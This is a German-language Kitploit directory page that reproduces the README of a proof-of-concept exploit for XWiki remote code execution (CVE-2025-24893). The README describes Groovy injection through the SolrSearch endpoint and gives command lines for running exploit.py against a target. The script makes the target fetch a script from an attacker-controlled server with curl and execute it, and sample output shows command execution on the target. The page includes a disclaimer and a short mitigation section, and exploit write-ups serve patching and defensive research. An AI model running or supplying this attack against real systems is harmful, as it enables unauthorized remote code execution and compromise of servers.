Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
xwiki-cve-2025-24893-poc — PoC für CVE-2025-24893 | Kitploit
Tools/GitHubGitHub/570rmbr3ak3r/xwiki-cve-2025-24893-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungRemote-Access-Tool
GitHub570rmbr3ak3r/xwiki-cve-2025-24893-poc

xwiki-cve-2025-24893-poc

PoC für CVE-2025-24893

Repository anzeigen
31vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

XWiki RCE Exploit PoC (CVE-2025-24893)

Übersicht

Dieses Repository enthält einen Proof-of-Concept-Exploit (PoC) für die XWiki Remote Code Execution (RCE)-Sicherheitslücke mit der Kennung CVE-2025-24893. Die Sicherheitslücke ermöglicht es einem Angreifer, beliebigen Code auf einer Ziel-XWiki-Instanz auszuführen, indem er eine manipulierte Anfrage an den SolrSearch-Endpunkt sendet. Dieses Skript unterstützt sowohl HTTP- als auch HTTPS-Ziele.

⚠️ Haftungsausschluss: Dieser PoC ist ausschließlich für Bildungs- und Forschungszwecke bestimmt. Die unbefugte Verwendung dieses Codes gegen Systeme ohne ausdrückliche Genehmigung ist illegal und unethisch. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie ein System testen.

Details zur Sicherheitslücke

  • CVE ID: CVE-2025-24893
  • Betroffene Komponente: XWiki SolrSearch-Endpunkt
  • Auswirkung: Remote Code Execution (RCE)
  • Sicherheitsempfehlung: GitHub Security Advisory

Die Sicherheitslücke entsteht durch unsachgemäße Behandlung von Benutzereingaben im SolrSearch-Endpunkt, was die Einschleusung von Groovy-Code über eine präparierte Nutzlast ermöglicht. Dieser PoC zeigt, wie ein Angreifer dies ausnutzen kann, um beliebige Befehle auf dem Zielserver auszuführen.

Voraussetzungen

  • Python 3.x
  • Erforderliche Python-Bibliotheken: requests, argparse, urllib.parse, re, html
  • Eine XWiki-Instanz, die anfällig für CVE-2025-24893 ist
  • Ein vom Angreifer kontrollierter Server, der das Bash-Skript hostet und über HTTP oder HTTPS erreichbar ist
  • Eine Datei mit dem auf dem Ziel auszuführenden Code

Installation

  1. Klonen Sie dieses Repository:
    root@kitploit:~
    git clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
    
  2. Installieren Sie die erforderlichen Python-Bibliotheken:
    root@kitploit:~
    pip install requests
    

Verwendung

Das Skript sendet eine präparierte HTTP/HTTPS-Anfrage an die Ziel-XWiki-Instanz und injiziert eine Groovy-Nutzlast, die einen curl-Befehl ausführt, um eine Datei von einem Angreifer-kontrollierten Server abzurufen und auszuführen.

Führen Sie das Skript mit folgendem Befehl aus:

root@kitploit:~
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]

Argumente

  • --url: Die Basis-URL der Ziel-XWiki-Instanz (z.B. http://target oder https://target).
  • --server: Die IP oder der Hostname des Angreifer-Servers, einschließlich des Ports falls erforderlich (z.B. 192.168.1.100:8080). Unterstützt sowohl HTTP als auch HTTPS.
  • --file: Der Name der Datei auf dem Angreifer-Server, die den auszuführenden Code enthält (z.B. exploit.sh).
  • --no-verify: Optionales Flag zum Deaktivieren der SSL-Überprüfung für HTTPS-Ziele (mit Vorsicht verwenden, nur für Tests).

Beispiel

root@kitploit:~
python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh

Um die SSL-Überprüfung zu umgehen (z.B. bei selbstsignierten Zertifikaten):

root@kitploit:~
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify

Dies führt Folgendes aus:

  1. Erstellen Sie eine Nutzlast, die das Groovy-Skript zur Ausführung eines curl-Befehls verwendet.
  2. Rufen Sie die angegebene Datei (exploit.sh) vom Angreifer-Server (http(s)://192.168.1.100:8080) ab.
  3. Führen Sie die abgerufene Datei auf dem Zielsystem aus.
  4. Extrahieren und anzeigen der Ausgabe, wobei HTML-Tags und -Entitäten bereinigt werden.

Ausgabe

Das Skript extrahiert die Antwort vom Ziel, entfernt HTML-Tags (z.B. <br/>, <del>) und konvertiert HTML-Entitäten zur besseren Lesbarkeit in Klartext. Die bereinigte Ausgabe wird auf der Konsole ausgegeben.

Beispiel

root@kitploit:~
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh 
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)

Einschränkungen

  • Die Ziel-XWiki-Instanz muss anfällig für CVE-2025-24893 sein.
  • Der Angreifer-Server muss vom Zielsystem aus über HTTP oder HTTPS erreichbar sein.
  • Das Skript geht davon aus, dass der Zielserver den SolrSearch-Endpunkt und die Groovy-Ausführung unterstützt.

Gegenmaßnahmen

Zum Schutz vor dieser Sicherheitslücke:

  • Aktualisieren Sie XWiki auf die neueste gepatchte Version.
  • Beachten Sie die GitHub Security Advisory für detaillierte Schritte zur Eindämmung.
  • Blog zum Nachlesen: CVE-2025-24893

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Details finden Sie in der Datei LICENSE.

Tool herunterladen